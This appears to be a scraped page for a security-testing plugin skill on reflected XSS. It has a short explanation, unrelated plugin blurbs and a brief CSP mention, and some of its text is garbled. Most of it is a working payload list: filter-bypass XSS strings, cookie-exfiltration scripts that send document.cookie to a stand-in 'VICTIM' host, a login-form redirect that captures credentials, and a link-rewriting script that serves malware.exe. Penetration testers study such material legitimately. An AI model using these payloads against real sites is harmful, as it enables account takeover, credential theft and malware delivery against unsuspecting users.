From meta
Reflected XSS occurs when user-supplied input is echoed in an HTTP response without sanitization, allowing script execution in the victim's browser. Detect via injecting `<script>alert(1)</script>`, event handlers like `onfocus`, HTML entity bypass, and encoding variants. Tools: Burp Suite, OWASP ZAP, PHP Charset Encoder (PCE), Hackvertor, XSS-Proxy, ratproxy.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Reflected XSS occurs when an application takes user-supplied data (URL parameters, form fields, HTTP headers) and includes it in the HTTP response without proper output encoding. The browser interprets the injected content as executable script, running in the context of the vulnerable origin. Because the payload travels in the request, the attacker must socially-engineer the victim into clickin...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Reflected XSS occurs when an application takes user-supplied data (URL parameters, form fields, HTTP headers) and includes it in the HTTP response without proper output encoding. The browser interprets the injected content as executable script, running in the context of the vulnerable origin. Because the payload travels in the request, the attacker must socially-engineer the victim into clicking a crafted link. The root cause is missing context-aware output encoding.
<, >, ", ', & are not HTML-encoded in responses<script> blocks or event handlers without escaping ', ", \xss12345) and search the response for its unencoded presence.<script>alert(1)</script>" onfocus="alert(1) or " onmouseover="alert(1)';alert(1)//javascript:alert(1)# Basic tag-body injection
TARGET/page?user=<script>alert(1)</script>
# Attribute context break-out
TARGET/page?user="><script>alert(document.cookie)</script>
TARGET/page?user=" onfocus="alert(1)" autofocus="
# Script block context
TARGET/page?user=';alert(document.cookie)//
# Cookie exfiltration
TARGET/page?user=<script>document.location='http://VICTIM/steal?c='+document.cookie</script>
# Link manipulation via onload
TARGET/page?user=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malicious';}</script>
# Filter bypass: case variation
TARGET/page?user="><ScRiPt>alert(1)</ScRiPt>
# Filter bypass: space in tag
TARGET/page?user="><script >alert(1)</script >
# Filter bypass: URL encoding
TARGET/page?user=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
# Filter bypass: double-encoded
TARGET/page?user=%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E
# Filter bypass: non-recursive filter
TARGET/page?user=<scr<script>ipt>alert(1)</script>
# HTTP Parameter Pollution
TARGET/page?param=<script¶m=>alert(1)</¶m=script>
# Burp Suite Intruder with XSS payloads wordlist
# Load: Intruder -> Payloads -> Load fuzz-XSS.txt from SecLists
<ScRiPt>, <SCRIPT><script >, < script>%3C, %3E, %22%253C<, <, <<%00script><scr\tipt>, <scr\nipt>onerror, onload, onmouseover, onfocus, autofocus<svg onload=alert(1)><img src=x onerror=alert(1)><SCRIPT%20a=">"%20SRC="http://VICTIM/xss.js"></SCRIPT>Scenario 1 — Session Hijacking
Setup: Search results page reflects q= parameter in page title without encoding.
Trigger: Attacker sends victim link: TARGET/search?q=<script>new Image().src='http://VICTIM/c?x='+document.cookie</script>
Impact: Session cookie transmitted to attacker; full account takeover.
Scenario 2 — Credential Harvesting via Page Modification
Setup: Login page redirect parameter reflected in a JavaScript string.
Trigger: TARGET/login?redirect=';document.forms[0].action='http://VICTIM/capture';// — form submission redirected to attacker.
Impact: Plaintext credentials exfiltrated on login.
Scenario 3 — Malware Distribution
Setup: Error page reflects filename parameter in body without encoding.
Trigger: TARGET/download?file=<script>window.onload=function(){var a=document.getElementsByTagName('a');a[0].href='http://VICTIM/malware.exe';}</script>
Impact: Victim downloads malware when clicking any link on the page.
Content-Security-Policy: default-src 'self'; script-src 'self'X-XSS-Protection: 1; mode=block (legacy browsers)When the injection point persists server-side, escalate to [[xss-stored]] for higher-impact payloads that don't require victim interaction. If the sink is in JavaScript code reading from location.hash or document.referrer, treat as [[dom-xss]] and look for dangerous sinks like innerHTML or eval. Reflected XSS can be used to bypass SameSite and execute [[csrf]] on the same origin, since the browser delivers both the XSS and the CSRF forged request from the target origin itself. Filter bypass encoding tricks used here also apply to [[cmd-injection]] when both share the same input sanitization layer.